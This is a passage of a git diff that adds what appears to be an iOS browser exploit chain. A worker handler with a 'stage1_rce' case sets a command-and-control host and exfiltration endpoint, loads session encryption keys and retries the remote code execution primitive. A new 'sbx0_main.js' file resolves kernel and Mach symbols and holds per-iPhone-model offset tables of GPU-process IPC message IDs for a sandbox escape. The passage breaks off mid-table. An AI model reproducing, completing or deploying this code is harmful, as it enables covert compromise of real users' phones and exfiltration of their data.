print(`all done`); + self.postMessage({ + type: 'redirect' + }); + return; + } + case 'slow_fcall_done': + { + slow_fcall_resolve(p.slowFcallResult[0]); + break; + } + case 'stage1_rce': + { + __labC2Host = 'https://mh0usocqzi6f46i.com:443'; + host = data.desiredHost; + try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; } + try { __labDeviceUUID = __labCanonUuid(data.deviceUUID || data.device || data.uuid); } catch (_du) {} + SERVER_LOG = data.SERVER_LOG; + if (data._enc_session) { + _enc_S = data._enc_session; + _enc_K = hexToBytes(data._enc_key); + _enc_hashes = data._enc_hashes; + _enc_checksums = data._enc_checksums; + } + if (data._enc_pass) { + _enc_pass = String(data._enc_pass); + try { __LAB_ENC_PASS__ = _enc_pass; } catch (eP) {} + } + print("inside stage1_rce from worker"); + main().then((p_temp) => { + if(!p_temp.addrof) + { + print("Failed rce, retrying if possible"); + main(); + } + }); + break; + } + } + }; +} +)(); diff --git a/channel-builder-ds/source/sbx0_main.js b/channel-builder-ds/source/sbx0_main.js new file mode 100644 index 0000000..9656345 --- /dev/null +++ b/channel-builder-ds/source/sbx0_main.js @@ -0,0 +1,9517 @@ + +function __labResolveOffsetKey(table, device_model) { + try { + if (table && device_model && table[device_model]) return device_model; + var dm = String(device_model || ""); + if (!table || !dm) return device_model; + if (table[dm]) return dm; + var keys = Object.keys(table); + // Exact build suffix match with sibling prefix (13,3 -> 13,2_3, etc.) + var build = ""; + var mBuild = dm.match(/_(22[A-Z0-9]+)$/); + if (mBuild) build = mBuild[1]; + var machine = dm.split("_")[0]; + var aliases = []; + if (machine === "iPhone13,3") aliases.push("iPhone13,2_3_" + build); + if (machine === "iPhone12,5") aliases.push("iPhone12,3_5_" + build); + if (machine === "iPhone11,4" || machine === "iPhone11,6") aliases.push("iPhone11,2_4_6_" + build); + if (machine === "iPhone13,2") aliases.push("iPhone13,2_3_" + build); + if (machine === "iPhone12,3") aliases.push("iPhone12,3_5_" + build); + if (machine === "iPhone11,2") aliases.push("iPhone11,2_4_6_" + build); + for (var ai = 0; ai < aliases.length; ai++) { + if (aliases[ai] && table[aliases[ai]]) return aliases[ai]; + } + // Same machine prefix + same build + if (build) { + for (var i = 0; i < keys.length; i++) { + var k = keys[i]; + if (k.indexOf(machine) === 0 && k.lastIndexOf(build) === k.length - build.length) return k; + } + // Same build, same major generation (iPhone13,*) + var gen = machine.split(",")[0]; + for (var j = 0; j < keys.length; j++) { + var k2 = keys[j]; + if (k2.indexOf(gen + ",") === 0 && k2.lastIndexOf(build) === k2.length - build.length) return k2; + } + } + // Prefix startsWith + for (var n = 0; n < keys.length; n++) { + if (keys[n].indexOf(machine) === 0) return keys[n]; + } + } catch (e) {} + return device_model; +} + +(() => { + const { + write8, + read32, + read64, + write64, + dlopen, + dlsym, + device_model, + chipset + } = p; + const libsystem_kernel = dlopen('/usr/lib/system/libsystem_kernel.dylib', 1n); + const libsystem_platform = dlopen('/usr/lib/system/libsystem_platform.dylib', 1n); + offsets.pthread_exit = dlsym(libsystem_pthread, 'pthread_exit').noPAC(); + offsets.pthread_setspecific = dlsym(libsystem_pthread, 'pthread_setspecific').noPAC(); + offsets.mach_port_allocate = dlsym(libsystem_kernel, 'mach_port_allocate').noPAC(); + offsets.mach_port_insert_right = dlsym(libsystem_kernel, 'mach_port_insert_right').noPAC(); + offsets.mach_msg_fn = dlsym(libsystem_kernel, 'mach_msg').noPAC(); + offsets.mach_make_memory_entry_64_fn = dlsym(libsystem_kernel, 'mach_make_memory_entry_64').noPAC(); + offsets.mach_vm_map_fn = dlsym(libsystem_kernel, 'mach_vm_map').noPAC(); + offsets.vm_allocate_fn = dlsym(libsystem_kernel, 'vm_allocate').noPAC(); + offsets.semaphore_signal = dlsym(libsystem_kernel, 'semaphore_signal').noPAC(); + offsets.memset = dlsym(libsystem_platform, '_platform_memset').noPAC(); + offsets.memcpy = dlsym(libsystem_platform, '_platform_memmove').noPAC(); + offsets.exit = dlsym(libsystem_kernel, '_exit').noPAC(); + sbx0_rw_begin = Date.now(); + sbx0_offsets = { + "iPhone11,2_4_6_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone11,6_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + +"iPhone11,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone11,8_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone12,1_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone12,3_5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone12,5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone12,8_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone13,1_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone13,2_3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone13,3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone13,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + 